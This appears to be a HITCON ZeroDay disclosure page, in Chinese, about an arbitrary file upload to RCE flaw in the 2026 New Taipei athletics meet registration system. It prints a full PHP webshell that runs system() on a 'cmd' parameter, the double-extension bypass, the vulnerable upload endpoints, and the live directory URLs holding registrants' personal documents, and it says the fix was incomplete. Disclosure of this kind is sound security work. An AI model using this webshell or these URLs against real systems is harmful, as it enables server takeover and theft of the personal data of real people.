新北國際田徑公開賽報名系統任意檔案上傳導致遠端程式碼執行（RCE）漏洞

Vulnerability Overview

ZDID: ZD-2026-00881
發信 Vendor: 台灣電腦網路危機處理暨協調中心(TWCERT/CC)
Title: 新北國際田徑公開賽報名系統任意檔案上傳導致遠端程式碼執行（RCE）漏洞
Introduction: 未驗證檔案類型，可上傳 PHP webshell

處理狀態

目前狀態

公開

Last Update : 2026/09/22

新提交
已審核
已通報
已修補
未複測
公開

處理歷程

2026/07/01 18:05:27 : 新提交 (由 Bun_. 更新此狀態)
2026/07/07 13:35:39 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:04:15 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:04:15 : 審核完成 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/07/23 16:04:15 : 修補中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/08/31 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
2026/09/04 16:34:18 : 已修補 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/12 03:00:06 : 公開 (由 HITCON ZeroDay 平台自動更新)
2026/09/17 14:45:44 : 複測申請中 (由 HITCON ZeroDay 服務團隊更新此狀態)
2026/09/21 12:50:15 : 未修補完成 (由 Bun_. 更新此狀態)
2026/09/22 03:00:05 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

ZDID：ZD-2026-00881
通報者：Superliverbun (Bun_.)
風險：嚴重
類型：任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機，有機會經由上傳之文件取得該主機系統權限。

漏洞說明： OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明： CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html

(本欄位資訊由系統根據漏洞類別自動產生，做為漏洞參考資料。)

敘述

2026 年新北國際田徑公開賽線上報名系統的檔案上傳功能（報名表上傳 upload_entry_form.php 與繳費憑證上傳 upload_payment_voucher.php）未對上傳檔案進行充分的類型與副檔名驗證，可透過雙副檔名繞過上傳含惡意 PHP 程式碼的檔案，並被伺服器轉存為 .php 而執行，導致遠端程式碼執行；同時上傳目錄未禁止目錄瀏覽，使得任何人皆可瀏覽並下載其他報名者上傳的檔案。

準備一個雙副檔名的 PHP webshell shell.pdf.php，內容如下：

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

透過 upload_entry_form.php 上傳該檔案，成功繞過檔案類型驗證，並被伺服器轉存為 .php 檔案，置於公開可存取的目錄中。

上傳目錄未禁止目錄瀏覽（Directory Listing），任何人皆可直接瀏覽並下載他人上傳的所有檔案：

https://w2.athletics.org.tw/twopen2026/entry_form/
https://w2.athletics.org.tw/twopen2026/voucher/

直接以 URL 觸發上傳的 webshell，可帶入 cmd 參數執行任意系統指令，實測可讀取 /etc/passwd：

透過目錄瀏覽下載到的個人報名表 PDF 含有大量高度敏感個資，包括姓名、聯絡地址、聯絡電話、電子郵件、緊急聯絡人及電話、身分證字號、出生年月日、性別、參賽項目與報名費等：

擷圖

留言討論

聯絡組織

發送私人訊息

您也可以透過私人訊息的方式與組織聯繫，討論有關於這個漏洞的相關資訊。

新北國際田徑公開賽報名系統任意檔案上傳導致遠端程式碼執行（RCE）漏洞 - HITCON ZeroDay

Vulnerability Detail Report